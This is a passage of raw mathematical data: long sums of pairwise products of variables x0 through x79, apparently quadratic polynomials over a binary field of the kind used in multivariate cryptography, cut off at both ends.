x2*x77 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x11 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x24 + x3*x26 + x3*x29 + x3*x30 + x3*x34 + x3*x35 + x3*x38 + x3*x39 + x3*x41 + x3*x44 + x3*x48 + x3*x51 + x3*x52 + x3*x57 + x3*x58 + x3*x59 + x3*x64 + x3*x66 + x3*x68 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x76 + x3*x77 + x3 + x4*x7 + x4*x9 + x4*x11 + x4*x14 + x4*x16 + x4*x17 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x25 + x4*x26 + x4*x28 + x4*x30 + x4*x31 + x4*x33 + x4*x34 + x4*x35 + x4*x37 + x4*x38 + x4*x39 + x4*x42 + x4*x43 + x4*x45 + x4*x46 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x52 + x4*x59 + x4*x60 + x4*x61 + x4*x63 + x4*x67 + x4*x68 + x4*x73 + x4*x74 + x4*x75 + x4*x78 + x5*x6 + x5*x8 + x5*x9 + x5*x12 + x5*x13 + x5*x20 + x5*x21 + x5*x23 + x5*x24 + x5*x25 + x5*x27 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x34 + x5*x35 + x5*x37 + x5*x40 + x5*x41 + x5*x44 + x5*x46 + x5*x50 + x5*x51 + x5*x54 + x5*x55 + x5*x58 + x5*x60 + x5*x62 + x5*x63 + x5*x65 + x5*x66 + x5*x69 + x5*x70 + x5*x71 + x5*x74 + x5*x75 + x5*x76 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x10 + x6*x12 + x6*x13 + x6*x15 + x6*x17 + x6*x19 + x6*x22 + x6*x23 + x6*x24 + x6*x27 + x6*x28 + x6*x30 + x6*x32 + x6*x34 + x6*x35 + x6*x36 + x6*x37 + x6*x38 + x6*x47 + x6*x48 + x6*x50 + x6*x52 + x6*x54 + x6*x56 + x6*x57 + x6*x66 + x6*x67 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x6*x78 + x7*x8 + x7*x10 + x7*x12 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x21 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x34 + x7*x36 + x7*x37 + x7*x40 + x7*x48 + x7*x53 + x7*x54 + x7*x56 + x7*x59 + x7*x63 + x7*x64 + x7*x66 + x7*x67 + x7*x69 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7*x79 + x8*x9 + x8*x10 + x8*x11 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x18 + x8*x19 + x8*x21 + x8*x24 + x8*x25 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x36 + x8*x38 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x49 + x8*x53 + x8*x55 + x8*x57 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x66 + x8*x67 + x8*x68 + x8*x74 + x8*x76 + x8*x78 + x8*x79 + x9*x10 + x9*x11 + x9*x13 + x9*x15 + x9*x17 + x9*x18 + x9*x19 + x9*x21 + x9*x22 + x9*x23 + x9*x25 + x9*x27 + x9*x32 + x9*x33 + x9*x34 + x9*x36 + x9*x37 + x9*x38 + x9*x43 + x9*x44 + x9*x48 + x9*x52 + x9*x54 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x65 + x9*x66 + x9*x68 + x9*x72 + x9*x76 + x9*x77 + x9*x78 + x9*x79 + x10*x11 + x10*x16 + x10*x17 + x10*x19 + x10*x22 + x10*x23 + x10*x25 + x10*x29 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x43 + x10*x44 + x10*x45 + x10*x47 + x10*x48 + x10*x52 + x10*x54 + x10*x55 + x10*x56 + x10*x57 + x10*x58 + x10*x60 + x10*x61 + x10*x62 + x10*x72 + x10*x73 + x10*x74 + x10*x77 + x10 + x11*x12 + x11*x16 + x11*x23 + x11*x27 + x11*x29 + x11*x30 + x11*x32 + x11*x33 + x11*x34 + x11*x36 + x11*x39 + x11*x40 + x11*x41 + x11*x44 + x11*x45 + x11*x46 + x11*x47 + x11*x50 + x11*x51 + x11*x52 + x11*x54 + x11*x55 + x11*x57 + x11*x58 + x11*x62 + x11*x63 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x12*x16 + x12*x18 + x12*x21 + x12*x23 + x12*x25 + x12*x28 + x12*x30 + x12*x31 + x12*x32 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x43 + x12*x45 + x12*x47 + x12*x49 + x12*x50 + x12*x52 + x12*x54 + x12*x55 + x12*x57 + x12*x60 + x12*x63 + x12*x65 + x12*x66 + x12*x69 + x12*x73 + x12*x74 + x12*x75 + x12*x77 + x12*x78 + x12*x79 + x13*x16 + x13*x20 + x13*x25 + x13*x28 + x13*x29 + x13*x31 + x13*x32 + x13*x35 + x13*x37 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x48 + x13*x51 + x13*x52 + x13*x54 + x13*x55 + x13*x57 + x13*x58 + x13*x59 + x13*x61 + x13*x62 + x13*x64 + x13*x65 + x13*x66 + x13*x68 + x13*x69 + x13*x72 + x13*x74 + x13*x78 + x13*x79 + x14*x15 + x14*x17 + x14*x18 + x14*x20 + x14*x24 + x14*x25 + x14*x29 + x14*x30 + x14*x32 + x14*x35 + x14*x36 + x14*x38 + x14*x39 + x14*x46 + x14*x49 + x14*x51 + x14*x52 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x64 + x14*x65 + x14*x68 + x14*x71 + x14*x73 + x14*x75 + x14*x76 + x14*x77 + x14*x78 + x15*x16 + x15*x18 + x15*x19 + x15*x20 + x15*x22 + x15*x23 + x15*x24 + x15*x25 + x15*x29 + x15*x33 + x15*x35 + x15*x36 + x15*x38 + x15*x39 + x15*x41 + x15*x42 + x15*x44 + x15*x45 + x15*x46 + x15*x50 + x15*x54 + x15*x55 + x15*x56 + x15*x58 + x15*x61 + x15*x62 + x15*x63 + x15*x64 + x15*x67 + x15*x69 + x15*x70 + x15*x71 + x15*x73 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x17 + x16*x18 + x16*x22 + x16*x25 + x16*x26 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x34 + x16*x35 + x16*x36 + x16*x39 + x16*x43 + x16*x45 + x16*x46 + x16*x47 + x16*x50 + x16*x52 + x16*x57 + x16*x60 + x16*x62 + x16*x63 + x16*x64 + x16*x65 + x16*x67 + x16*x68 + x16*x72 + x16*x73 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x21 + x17*x22 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x28 + x17*x31 + x17*x32 + x17*x33 + x17*x36 + x17*x38 + x17*x39 + x17*x40 + x17*x41 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x49 + x17*x50 + x17*x51 + x17*x52 + x17*x56 + x17*x57 + x17*x59 + x17*x61 + x17*x62 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x71 + x17*x72 + x17*x73 + x17*x75 + x17*x76 + x17*x77 + x18*x19 + x18*x21 + x18*x22 + x18*x25 + x18*x26 + x18*x27 + x18*x31 + x18*x33 + x18*x34 + x18*x38 + x18*x42 + x18*x49 + x18*x50 + x18*x53 + x18*x54 + x18*x56 + x18*x61 + x18*x62 + x18*x65 + x18*x66 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x75 + x18*x76 + x18 + x19*x23 + x19*x26 + x19*x28 + x19*x29 + x19*x31 + x19*x33 + x19*x34 + x19*x36 + x19*x38 + x19*x42 + x19*x46 + x19*x49 + x19*x54 + x19*x56 + x19*x57 + x19*x58 + x19*x60 + x19*x61 + x19*x65 + x19*x66 + x19*x69 + x19*x72 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x25 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x34 + x20*x35 + x20*x36 + x20*x37 + x20*x38 + x20*x40 + x20*x42 + x20*x43 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x48 + x20*x51 + x20*x53 + x20*x54 + x20*x56 + x20*x57 + x20*x61 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x72 + x20*x73 + x20*x74 + x20*x77 + x20*x78 + x20*x79 + x21*x22 + x21*x25 + x21*x26 + x21*x27 + x21*x31 + x21*x33 + x21*x38 + x21*x42 + x21*x43 + x21*x44 + x21*x46 + x21*x48 + x21*x49 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x56 + x21*x59 + x21*x61 + x21*x64 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x73 + x21*x74 + x21*x75 + x21*x77 + x21*x79 + x22*x25 + x22*x26 + x22*x30 + x22*x32 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x43 + x22*x44 + x22*x50 + x22*x56 + x22*x57 + x22*x59 + x22*x62 + x22*x63 + x22*x66 + x22*x68 + x22*x73 + x22*x75 + x22*x78 + x23*x24 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x35 + x23*x37 + x23*x39 + x23*x41 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x48 + x23*x51 + x23*x52 + x23*x53 + x23*x54 + x23*x57 + x23*x59 + x23*x61 + x23*x62 + x23*x64 + x23*x65 + x23*x66 + x23*x67 + x23*x70 + x23*x73 + x23*x78 + x23*x79 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x30 + x24*x31 + x24*x33 + x24*x36 + x24*x38 + x24*x42 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x49 + x24*x50 + x24*x57 + x24*x59 + x24*x60 + x24*x61 + x24*x63 + x24*x64 + x24*x65 + x24*x67 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x78 + x24 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x34 + x25*x35 + x25*x36 + x25*x37 + x25*x42 + x25*x48 + x25*x50 + x25*x56 + x25*x63 + x25*x64 + x25*x65 + x25*x66 + x25*x69 + x25*x74 + x25*x75 + x25*x79 + x26*x30 + x26*x31 + x26*x34 + x26*x36 + x26*x37 + x26*x42 + x26*x43 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x55 + x26*x56 + x26*x57 + x26*x59 + x26*x62 + x26*x63 + x26*x64 + x26*x65 + x26*x67 + x26*x68 + x26*x69 + x26*x72 + x26*x73 + x26*x76 + x26*x77 + x27*x30 + x27*x31 + x27*x32 + x27*x34 + x27*x36 + x27*x37 + x27*x39 + x27*x40 + x27*x43 + x27*x45 + x27*x47 + x27*x48 + x27*x52 + x27*x55 + x27*x56 + x27*x57 + x27*x59 + x27*x62 + x27*x63 + x27*x65 + x27*x69 + x27*x72 + x27*x73 + x27*x78 + x27*x79 + x27 + x28*x30 + x28*x32 + x28*x34 + x28*x35 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x44 + x28*x48 + x28*x50 + x28*x51 + x28*x54 + x28*x55 + x28*x58 + x28*x60 + x28*x65 + x28*x66 + x28*x68 + x28*x69 + x28*x70 + x28*x73 + x28*x74 + x28*x75 + x28*x76 + x28*x79 + x29*x31 + x29*x34 + x29*x37 + x29*x38 + x29*x40 + x29*x41 + x29*x42 + x29*x43 + x29*x45 + x29*x47 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x54 + x29*x57 + x29*x63 + x29*x64 + x29*x65 + x29*x69 + x29*x72 + x29*x74 + x29*x75 + x29 + x30*x31 + x30*x32 + x30*x33 + x30*x35 + x30*x36 + x30*x38 + x30*x40 + x30*x41 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x47 + x30*x49 + x30*x50 + x30*x53 + x30*x54 + x30*x55 + x30*x56 + x30*x60 + x30*x62 + x30*x63 + x30*x67 + x30*x68 + x30*x70 + x30*x72 + x30*x74 + x30*x76 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x36 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x45 + x31*x46 + x31*x48 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x55 + x31*x57 + x31*x58 + x31*x59 + x31*x61 + x31*x63 + x31*x65 + x31*x69 + x31*x70 + x31*x71 + x31*x73 + x31*x74 + x31*x75 + x31*x76 + x31*x77 + x32*x36 + x32*x37 + x32*x40 + x32*x41 + x32*x44 + x32*x45 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x52 + x32*x54 + x32*x56 + x32*x58 + x32*x59 + x32*x61 + x32*x68 + x32*x69 + x32*x71 + x32*x72 + x32*x73 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x32*x78 + x32*x79 + x33*x34 + x33*x36 + x33*x39 + x33*x40 + x33*x47 + x33*x49 + x33*x50 + x33*x52 + x33*x55 + x33*x56 + x33*x57 + x33*x70 + x33*x71 + x33*x75 + x33*x76 + x34*x35 + x34*x36 + x34*x38 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x48 + x34*x51 + x34*x54 + x34*x55 + x34*x56 + x34*x57 + x34*x61 + x34*x63 + x34*x66 + x34*x69 + x34*x72 + x34*x74 + x34*x75 + x34*x77 + x34*x78 + x34*x79 + x34 + x35*x37 + x35*x38 + x35*x39 + x35*x40 + x35*x41 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x48 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x58 + x35*x60 + x35*x64 + x35*x65 + x35*x66 + x35*x70 + x35*x74 + x35*x76 + x35*x77 + x36*x37 + x36*x39 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x50 + x36*x51 + x36*x52 + x36*x54 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x60 + x36*x64 + x36*x66 + x36*x70 + x36*x74 + x36*x78 + x36*x79 + x37*x40 + x37*x41 + x37*x43 + x37*x44 + x37*x45 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x54 + x37*x57 + x37*x61 + x37*x63 + x37*x71 + x37*x72 + x37*x73 + x37*x75 + x37*x76 + x37*x78 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x49 + x38*x52 + x38*x53 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x63 + x38*x64 + x38*x65 + x38*x69 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x76 + x38*x77 + x39*x40 + x39*x43 + x39*x44 + x39*x45 + x39*x46 + x39*x48 + x39*x50 + x39*x52 + x39*x54 + x39*x55 + x39*x56 + x39*x57 + x39*x59 + x39*x60 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x66 + x39*x71 + x39*x75 + x39*x76 + x39*x79 + x40*x41 + x40*x44 + x40*x48 + x40*x49 + x40*x50 + x40*x51 + x40*x53 + x40*x54 + x40*x55 + x40*x57 + x40*x58 + x40*x59 + x40*x61 + x40*x62 + x40*x65 + x40*x66 + x40*x67 + x40*x69 + x40*x70 + x40*x74 + x40*x75 + x40*x76 + x40*x79 + x41*x42 + x41*x43 + x41*x44 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x57 + x41*x58 + x41*x63 + x41*x67 + x41*x68 + x41*x71 + x41*x74 + x41*x76 + x41 + x42*x43 + x42*x47 + x42*x52 + x42*x54 + x42*x55 + x42*x59 + x42*x60 + x42*x61 + x42*x73 + x42*x75 + x42*x76 + x42*x77 + x42*x78 + x42 + x43*x45 + x43*x47 + x43*x51 + x43*x52 + x43*x53 + x43*x54 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x61 + x43*x62 + x43*x68 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x75 + x43*x76 + x43*x78 + x43*x79 + x43 + x44*x46 + x44*x48 + x44*x49 + x44*x50 + x44*x52 + x44*x53 + x44*x55 + x44*x56 + x44*x57 + x44*x58 + x44*x61 + x44*x65 + x44*x68 + x44*x69 + x44*x73 + x44*x75 + x44*x77 + x44*x78 + x44*x79 + x45*x46 + x45*x48 + x45*x51 + x45*x55 + x45*x60 + x45*x62 + x45*x65 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x73 + x45*x74 + x45*x75 + x45*x77 + x45*x78 + x46*x47 + x46*x49 + x46*x50 + x46*x52 + x46*x54 + x46*x55 + x46*x58 + x46*x59 + x46*x60 + x46*x63 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x71 + x46*x73 + x46*x79 + x46 + x47*x49 + x47*x50 + x47*x54 + x47*x55 + x47*x56 + x47*x57 + x47*x58 + x47*x59 + x47*x62 + x47*x63 + x47*x66 + x47*x67 + x47*x69 + x47*x71 + x47*x73 + x47*x74 + x47*x75 + x47*x76 + x47*x79 + x47 + x48*x52 + x48*x54 + x48*x55 + x48*x58 + x48*x59 + x48*x60 + x48*x62 + x48*x67 + x48*x69 + x48*x75 + x48*x76 + x48*x79 + x49*x54 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x69 + x49*x70 + x49*x73 + x49*x75 + x50*x51 + x50*x54 + x50*x55 + x50*x56 + x50*x62 + x50*x64 + x50*x65 + x50*x70 + x50*x71 + x50*x73 + x50*x75 + x50*x76 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x57 + x51*x58 + x51*x59 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x66 + x51*x68 + x51*x69 + x51*x75 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x57 + x52*x61 + x52*x63 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x71 + x52*x72 + x52*x73 + x52*x76 + x52*x77 + x52*x79 + x53*x55 + x53*x56 + x53*x61 + x53*x62 + x53*x63 + x53*x64 + x53*x65 + x53*x68 + x53*x73 + x53*x74 + x53*x79 + x53 + x54*x55 + x54*x56 + x54*x57 + x54*x61 + x54*x65 + x54*x67 + x54*x68 + x54*x71 + x54*x74 + x54*x78 + x54*x79 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x65 + x55*x67 + x55*x69 + x55*x70 + x55*x72 + x55*x77 + x55*x79 + x56*x60 + x56*x61 + x56*x62 + x56*x64 + x56*x65 + x56*x69 + x56*x72 + x56*x73 + x56*x75 + x56*x77 + x56*x79 + x56 + x57*x58 + x57*x62 + x57*x63 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x71 + x57*x72 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x79 + x58*x62 + x58*x63 + x58*x64 + x58*x66 + x58*x67 + x58*x70 + x58*x71 + x58*x72 + x58*x76 + x58*x78 + x58 + x59*x60 + x59*x63 + x59*x64 + x59*x67 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x77 + x60*x65 + x60*x69 + x60*x76 + x60*x77 + x60*x79 + x60 + x61*x64 + x61*x65 + x61*x68 + x61*x69 + x61*x72 + x61*x75 + x61*x76 + x61*x78 + x61*x79 + x62*x64 + x62*x68 + x62*x70 + x62*x71 + x62*x74 + x62*x75 + x62*x77 + x62*x78 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x75 + x63 + x64*x65 + x64*x70 + x64*x73 + x64*x76 + x64*x78 + x64 + x65*x66 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x77 + x65*x78 + x66*x69 + x66*x70 + x66*x73 + x66*x74 + x66*x76 + x66*x78 + x66 + x67*x68 + x67*x70 + x67*x72 + x67*x74 + x67*x76 + x67*x78 + x67*x79 + x67 + x68*x69 + x68*x70 + x68*x72 + x68*x74 + x68*x76 + x68*x77 + x68*x79 + x69*x72 + x69*x75 + x69*x76 + x69*x77 + x69*x78 + x70*x72 + x70*x73 + x70*x74 + x70*x76 + x70*x77 + x70*x79 + x71*x72 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x79 + x71 + x72*x75 + x72*x77 + x72*x79 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x79 + x73 + x74*x77 + x74*x78 + x74*x79 + x75*x76 + x75*x77 + x75*x78 + x76*x79 + x76 + x78*x79 + x79 + 1, x0*x4 + x0*x6 + x0*x9 + x0*x10 + x0*x12 + x0*x13 + x0*x18 + x0*x19 + x0*x20 + x0*x21 + x0*x24 + x0*x28 + x0*x34 + x0*x36 + x0*x37 + x0*x38 + x0*x39 + x0*x40 + x0*x41 + x0*x43 + x0*x46 + x0*x47 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x58 + x0*x59 + x0*x62 + x0*x65 + x0*x66 + x0*x67 + x0*x69 + x0*x73 + x0*x74 + x0*x76 + x0*x77 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x4 + x1*x8 + x1*x9 + x1*x11 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x17 + x1*x18 + x1*x19 + x1*x21 + x1*x25 + x1*x27 + x1*x28 + x1*x29 + x1*x30 + x1*x34 + x1*x35 + x1*x41 + x1*x42 + x1*x44 + x1*x45 + x1*x46 + x1*x48 + x1*x49 + x1*x51 + x1*x55 + x1*x56 + x1*x57 + x1*x60 + x1*x61 + x1*x63 + x1*x64 + x1*x67 + x1*x68 + x1*x70 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x78 + x1*x79 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x10 + x2*x13 + x2*x14 + x2*x15 + x2*x17 + x2*x20 + x2*x23 + x2*x26 + x2*x29 + x2*x34 + x2*x36 + x2*x37 + x2*x40 + x2*x48 + x2*x49 + x2*x51 + x2*x52 + x2*x53 + x2*x54 + x2*x55 + x2*x57 + x2*x60 + x2*x62 + x2*x65 + x2*x67 + x2*x71 + x2*x75 + x2*x76 + x2*x78 + x3*x5 + x3*x9 + x3*x10 + x3*x11 + x3*x15 + x3*x17 + x3*x19 + x3*x23 + x3*x24 + x3*x25 + x3*x28 + x3*x34 + x3*x35 + x3*x38 + x3*x40 + x3*x42 + x3*x46 + x3*x48 + x3*x49 + x3*x50 + x3*x52 + x3*x53 + x3*x54 + x3*x57 + x3*x59 + x3*x61 + x3*x62 + x3*x66 + x3*x69 + x3*x72 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x5 + x4*x6 + x4*x7 + x4*x10 + x4*x12 + x4*x14 + x4*x17 + x4*x20 + x4*x21 + x4*x22 + x4*x25 + x4*x26 + x4*x28 + x4*x30 + x4*x32 + x4*x33 + x4*x35 + x4*x38 + x4*x39 + x4*x41 + x4*x42 + x4*x43 + x4*x46 + x4*x47 + x4*x48 + x4*x49 + x4*x52 + x4*x55 + x4*x57 + x4*x62 + x4*x63 + x4*x64 + x4*x67 + x4*x71 + x4*x73 + x4*x75 + x4*x79 + x5*x9 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x21 + x5*x22 + x5*x23 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x38 + x5*x40 + x5*x41 + x5*x42 + x5*x43 + x5*x44 + x5*x47 + x5*x48 + x5*x51 + x5*x52 + x5*x54 + x5*x55 + x5*x57 + x5*x58 + x5*x59 + x5*x69 + x5*x70 + x5*x72 + x5*x73 + x5*x74 + x5*x77 + x5*x78 + x5*x79 + x6*x7 + x6*x9 + x6*x11 + x6*x12 + x6*x13 + x6*x14 + x6*x15 + x6*x22 + x6*x23 + x6*x25 + x6*x26 + x6*x28 + x6*x29 + x6*x33 + x6*x34 + x6*x35 + x6*x38 + x6*x39 + x6*x40 + x6*x42 + x6*x43 + x6*x44 + x6*x46 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x56 + x6*x57 + x6*x61 + x6*x64 + x6*x66 + x6*x69 + x6*x70 + x6*x71 + x6*x74 + x6*x76 + x6*x77 + x6*x79 + x6 + x7*x10 + x7*x14 + x7*x16 + x7*x18 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x25 + x7*x26 + x7*x30 + x7*x32 + x7*x34 + x7*x36 + x7*x41 + x7*x42 + x7*x45 + x7*x47 + x7*x49 + x7*x51 + x7*x53 + x7*x55 + x7*x56 + x7*x60 + x7*x62 + x7*x63 + x7*x65 + x7*x66 + x7*x67 + x7*x68 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7*x78 + x7*x79 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x18 + x8*x19 + x8*x21 + x8*x23 + x8*x24 + x8*x25 + x8*x26 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x33 + x8*x35 + x8*x36 + x8*x37 + x8*x38 + x8*x41 + x8*x45 + x8*x48 + x8*x50 + x8*x52 + x8*x53 + x8*x58 + x8*x60 + x8*x61 + x8*x63 + x8*x71 + x8*x72 + x8*x75 + x8*x79 + x8 + x9*x11 + x9*x12 + x9*x15 + x9*x16 + x9*x17 + x9*x21 + x9*x23 + x9*x25 + x9*x27 + x9*x33 + x9*x35 + x9*x37 + x9*x41 + x9*x43 + x9*x45 + x9*x47 + x9*x51 + x9*x52 + x9*x54 + x9*x57 + x9*x63 + x9*x65 + x9*x66 + x9*x67 + x9*x68 + x9*x70 + x9*x71 + x9*x73 + x9*x76 + x9*x79 + x10*x11 + x10*x12 + x10*x15 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x28 + x10*x30 + x10*x31 + x10*x35 + x10*x39 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x49 + x10*x51 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x57 + x10*x59 + x10*x61 + x10*x62 + x10*x63 + x10*x65 + x10*x68 + x10*x71 + x10*x74 + x10*x76 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x16 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x27 + x11*x28 + x11*x29 + x11*x32 + x11*x33 + x11*x35 + x11*x38 + x11*x39 + x11*x42 + x11*x44 + x11*x45 + x11*x46 + x11*x48 + x11*x49 + x11*x50 + x11*x55 + x11*x58 + x11*x61 + x11*x62 + x11*x65 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x76 + x11*x77 + x11*x79 + x11 + x12*x13 + x12*x14 + x12*x15 + x12*x18 + x12*x20 + x12*x22 + x12*x24 + x12*x25 + x12*x28 + x12*x31 + x12*x32 + x12*x38 + x12*x39 + x12*x43 + x12*x47 + x12*x52 + x12*x53 + x12*x58 + x12*x59 + x12*x61 + x12*x62 + x12*x66 + x12*x67 + x12*x74 + x12*x75 + x12*x76 + x12*x78 + x13*x14 + x13*x16 + x13*x19 + x13*x20 + x13*x25 + x13*x28 + x13*x31 + x13*x33 + x13*x34 + x13*x39 + x13*x41 + x13*x42 + x13*x45 + x13*x48 + x13*x49 + x13*x51 + x13*x57 + x13*x61 + x13*x62 + x13*x64 + x13*x66 + x13*x68 + x13*x69 + x13*x70 + x13*x71 + x13*x74 + x13*x75 + x13*x77 + x13*x78 + x14*x15 + x14*x17 + x14*x19 + x14*x21 + x14*x22 + x14*x25 + x14*x27 + x14*x28 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x36 + x14*x37 + x14*x39 + x14*x44 + x14*x45 + x14*x47 + x14*x48 + x14*x50 + x14*x54 + x14*x55 + x14*x57 + x14*x60 + x14*x64 + x14*x65 + x14*x69 + x14*x71 + x14*x72 + x14*x73 + x14*x75 + x14*x79 + x15*x18 + x15*x21 + x15*x23 + x15*x33 + x15*x34 + x15*x35 + x15*x36 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x43 + x15*x44 + x15*x45 + x15*x49 + x15*x51 + x15*x52 + x15*x55 + x15*x58 + x15*x60 + x15*x62 + x15*x65 + x15*x66 + x15*x70 + x15*x71 + x15*x72 + x15*x76 + x15*x78 + x16*x17 + x16*x19 + x16*x21 + x16*x23 + x16*x26 + x16*x27 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x34 + x16*x36 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x51 + x16*x52 + x16*x54 + x16*x55 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x71 + x16*x72 + x16*x73 + x16*x76 + x16*x77 + x16*x79 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x23 + x17*x26 + x17*x29 + x17*x30 + x17*x31 + x17*x32 + x17*x33 + x17*x36 + x17*x38 + x17*x44 + x17*x47 + x17*x48 + x17*x49 + x17*x52 + x17*x53 + x17*x57 + x17*x58 + x17*x59 + x17*x62 + x17*x63 + x17*x66 + x17*x68 + x17*x71 + x17*x72 + x17*x74 + x17*x75 + x17*x76 + x17*x79 + x17 + x18*x19 + x18*x23 + 